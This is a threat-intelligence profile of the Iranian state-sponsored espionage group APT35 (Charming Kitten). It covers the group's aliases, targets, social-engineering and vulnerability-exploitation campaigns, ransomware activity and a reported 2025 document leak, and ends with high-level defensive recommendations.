APT35: Iran's Long-Running Espionage Machine — From Fake Journalists to ProxyShell Exploitation

Iran's most versatile cyber espionage group.

APT35 — tracked under an unusually long list of aliases including Charming Kitten, Magic Hound, Mint Sandstorm, Phosphorus, TA453, Cobalt Illusion, Newscaster, ITG18, Yellow Garuda, and Educated Manticore — is an Iranian state-sponsored cyber espionage group that has been conducting operations since at least 2014. The group is assessed to operate on behalf of the Islamic Revolutionary Guard Corps (IRGC), conducting long-term, resource-intensive operations to collect strategic intelligence in support of Iranian geopolitical objectives.

APT35 is arguably the most versatile threat actor in Iran's cyber arsenal. While most state-sponsored groups occupy a defined niche — targeting specific sectors or employing specific techniques — APT35 operates across the full spectrum: from patient social engineering campaigns impersonating journalists and academics, to rapid mass exploitation of critical vulnerabilities like ProxyShell and Log4Shell within days of public disclosure, to ransomware deployment using BitLocker and DiskCryptor. This breadth of capability reflects a large, well-resourced operational structure with specialised teams for different functions.

This versatility is confirmed by a remarkable event in late 2025: an anonymous leak of APT35's internal operational documents — published on GitHub under the alias 'KittenBusters' — exposed personnel rosters, daily work logs, attack reports, malware projects, and operational playbooks. The leak, analysed by CloudSEK, Gatewatcher, and other researchers, revealed a disciplined, bureaucratic operation with distinct teams for penetration testing, malware development, social engineering, and infrastructure management. Monthly performance reports documented operators' daily tasks, including social media monitoring, OSINT collection, and phishing infrastructure maintenance.

The IRGC's long arm.

Strategic intelligence collection across continents.

APT35 primarily targets entities in the United States, United Kingdom, Israel, and Saudi Arabia, but campaigns have reached Germany, Iraq, Australia, South Korea, Kuwait, Turkey, Lebanon, Jordan, Afghanistan, and Iran itself (internal dissidents). Their targeting reflects Iranian strategic priorities: understanding adversary military capability, monitoring nuclear policy, tracking dissident activity, and collecting economic intelligence.

From social media manipulation to mass vulnerability exploitation.

APT35's evolution over the past decade tracks the broader maturation of Iranian cyber capabilities — from unsophisticated social engineering to rapid adoption of critical vulnerability exploits, custom malware development, and even ransomware operations. Understanding this evolution is essential for assessing their current threat level.

A diverse arsenal for every operational need.

Two distinct approaches — patience and speed.

APT35 maintains two fundamentally different initial access strategies, deploying them based on the target's value and the operational timeline. Understanding both is essential for comprehensive defence.

Espionage group or ransomware operator?

APT35's use of BitLocker and DiskCryptor for ransomware operations — documented from late 2021 onwards — raised questions about whether an espionage group had diversified into financially motivated crime or whether the ransomware served a different purpose. The answer appears to be: both, depending on the campaign.

In some cases, the ransomware activity overlaps with a sub-group tracked as Nemesis Kitten (UNC2448/DEV-0270/COBALT MIRAGE), which Microsoft and others assess may have ties to the IRGC-IO. This sub-group conducted widespread scanning for vulnerabilities and deployed BitLocker for encryption — potentially for financial gain to fund IRGC operations, or as a cover for destructive operations that could be attributed to criminal activity rather than the Iranian state. The Memento ransomware variant also showed TTP overlaps with APT35 infrastructure, though direct attribution remains contested.

For defenders, the operational implication is clear: an APT35 intrusion that begins as espionage may end with ransomware deployment. The same access that enables data exfiltration also enables encryption. Organisations compromised by APT35 face a dual threat — their data may be stolen and their systems may be encrypted, and these outcomes are not mutually exclusive.

Defending against breadth of capability.

APT35's versatility — social engineering, vulnerability exploitation, custom malware, cloud-native operations, ransomware — requires a correspondingly broad defensive posture. No single control addresses the full range of their capabilities.

Two groups from one origin.

The relationship between APT35 and APT42 causes persistent confusion in threat intelligence reporting, exacerbated by the fact that both groups share the 'Charming Kitten' label in some vendor taxonomies. Understanding the distinction is operationally important because the two groups pose different threats requiring different defences.

The bottom line.

APT35 is one of the most capable and versatile threat groups in the Iranian cyber arsenal. Operating on behalf of the IRGC since at least 2014, they have evolved from social media manipulation campaigns to sophisticated operations spanning targeted social engineering, rapid mass exploitation of critical vulnerabilities, custom malware development, cloud-native espionage, and ransomware deployment. Their target set — government, military, defence, energy, media, legal services, and academia — spans the full range of Iranian strategic intelligence requirements.

The 2025 leak of their internal operational documents confirms what security researchers have long assessed: APT35 is not a loose collection of hackers but a disciplined, bureaucratic operation with distinct functional teams, daily work logs, monthly performance reports, and systematic exploitation of disclosed vulnerabilities. The leaked ProxyShell target folders covering six countries illustrate the scale of their operations.

For organisations in APT35's target sectors, the defensive challenge is the group's breadth. They can compromise you through a carefully crafted phishing email impersonating a journalist, or through automated exploitation of an unpatched Exchange server — and both attack paths lead to the same outcome: persistent access, data exfiltration, and potentially ransomware. Defending requires both human-layer controls (awareness, verification, phishing-resistant MFA) and infrastructure-layer controls (aggressive patching, monitoring, network segmentation). APT35's versatility demands equally versatile defence.